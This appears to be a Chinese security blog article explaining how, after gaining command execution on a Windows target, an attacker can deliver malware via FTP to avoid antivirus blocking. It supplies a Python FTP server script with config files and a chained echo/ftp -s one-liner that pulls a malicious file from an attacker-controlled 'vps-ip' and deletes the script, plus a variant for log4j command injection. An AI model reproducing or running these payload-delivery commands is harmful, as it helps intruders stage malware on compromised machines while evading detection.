免责声明
由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
01 前言
当取得目标系统命令执行权限时,往往需要上传木马及一些内网渗透工具,这时候windows可以使用powershell、certutil、bitsadmin等方式,linux大多使用curl以及wget方式。对于windows而言,常见的几种方法基本都会被杀软拦截,本文旨在于提供一种相对来说不常被拦截的载荷投递方式:FTP投递。
作者:网络安全情报攻防站-嘉宾千载
02 工具准备
FTP服务器
这里FTP服务器有许多种搭建方法,这里提供一种python开启FTP的脚本
需要准备的代码及配置文件
1、ftp_server.py
import requests
import re
import configparserfrom pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler, ThrottledDTPHandler
from pyftpdlib.servers import FTPServer
from setting import ENABLE_ANONYMOUS, ANONYMOUS_PATH, MAX_DOWNLOAD, MAX_UPLOAD, PASSIVE_PORTS, WELCOME_MSG, IP, \
PORT, MAX_CONS, MAX_PER_IP
def get_myip():
r = requests.get("http://myip.ipip.net", headers={"User-Agent": "curl/7.29.0"})
ip = re.search(r"(([01]{0,1}\d{0,1}\d|2[0-4]\d|25[0-5]\d)\.){3}([01]{0,1}\d{0,1}\d|2[0-4]\d|25[0-5]\d)",r.text).group()
return ip
# 新建一个用户组
authorizer = DummyAuthorizer()
# 从文件读取用户账号密码权限配置
config = configparser.ConfigParser()
config.read('user.ini')
user_list = config.sections()
for user in user_list:
passwd = config[user]["password"]
perm = config[user]["perm"]
home_dir = config[user]["home"]
# 将用户名,密码,指定目录,权限 添加到里面
authorizer.add_user(user, passwd, homedir=home_dir, perm=perm)
# 添加匿名用户 只需要路径
if ENABLE_ANONYMOUS == 'on':
authorizer.add_anonymous(ANONYMOUS_PATH)
# 下载上传速度设置
dtp_handler = ThrottledDTPHandler
dtp_handler.read_limit = MAX_DOWNLOAD
dtp_handler.write_limit = MAX_UPLOAD
# 初始化ftp句柄
handler = FTPHandler
handler.authorizer = authorizer
handler.masquerade_address = get_myip()
# 添加被动端口范围
handler.passive_ports = range(PASSIVE_PORTS[0], PASSIVE_PORTS[1])
# 欢迎信息
handler.banner = WELCOME_MSG
# 监听ip 和 端口
server = FTPServer((IP, PORT), handler)
# 最大连接数
server.max_cons = MAX_CONS
server.max_cons_per_ip = MAX_PER_IP
# 开始服务
print('FTP开始服务 ', (IP, PORT))
server.serve_forever()
2、 setting.py
IP = '0.0.0.0'
PORT = '21'
# 上传速度 100kb/s
MAX_UPLOAD = 100 * 1024
# 下载速度 100kb/s
MAX_DOWNLOAD = 100 * 1024
# 最大连接数
MAX_CONS = 100
# 最多IP数
MAX_PER_IP = 10
# 被动端口范围,注意被动端口数量要比最大IP数多,否则可能出现无法连接的情况
PASSIVE_PORTS = (8300, 8500)
# 是否开启匿名访问 on|off
ENABLE_ANONYMOUS = 'on'
# 匿名用户目录
ANONYMOUS_PATH = 'D:\\sectools\\anonymous'
# 日志文件
LOGING_NAME = 'pyftp.log'
# 欢迎信息
WELCOME_MSG = 'Welcome to my ftp'
3、user.ini
解读:中括号中为用户名,home为该用户的目录,创建多个用户则按下面格式多复制几遍修改一下。例子为创建user1和user2 2个用户,目录分别为user1和user2
[user1]
password=123
perm=elradfmwM
home=D:\\user1[user2]
password=123456
perm=elradfmwM
home=D:\\user2
在启用脚本前需要根据自己的情况修改配置文件,创建用户目录(别忘了创建匿名用户目录,在setting.py中写上对应的目录名字)
1、根据实际情况修改脚本配置文件,上传ftp_server.py、setting.py、user.ini到VPS:
2、 根据配置文件创建用户目录:
3、启动ftp脚本:
python3 ftp_server.py
此时FTP服务器已经搭建成功。
03 载荷投递
1、将需要投递的恶意文件放置在对应用户的目录下:
2、 在拥有命令执行的机器上执行以下命令:
echo open vps-ip > o&echo user anonymous >> o& echo asc >>o&echo prompt >>o&echo mget test.txt >> o &echo quit >> o &ftp -n -s:o &del /F /Q o
当条件不允许时,也可以逐一执行:
echo open vps-ip > o
echo user anonymous >> o
echo asc >>o
echo prompt >>o
echo mget test.txt >> o
echo quit >> o
ftp -n -s:o
del /F /Q o
VPS上也会有相应记录:
04 附录
当使用log4j反序列化漏洞进行命令执行时,一条命令可能会执行多遍,会影响我们写入ftp配置,这时可以将">>"换为">",每次写入不同的文件,最后用copy命令进行合并即可,具体操作代码如下:
echo open vps-ip > aa1
echo user anonymous > aa2
echo asc > aa3
echo prompt > aa4
echo mget test.txt > aa5
echo quit > aa6
copy /b aa* cc
ftp -n -s:cc
del /F /Q cc
05 往期精彩
文章来源:网络安全情报攻防站(嘉宾千载)
原文地址:https://t.zsxq.com/04NZbUZvR
如需转载本样式风格、字体版权,请保留出处:李白你好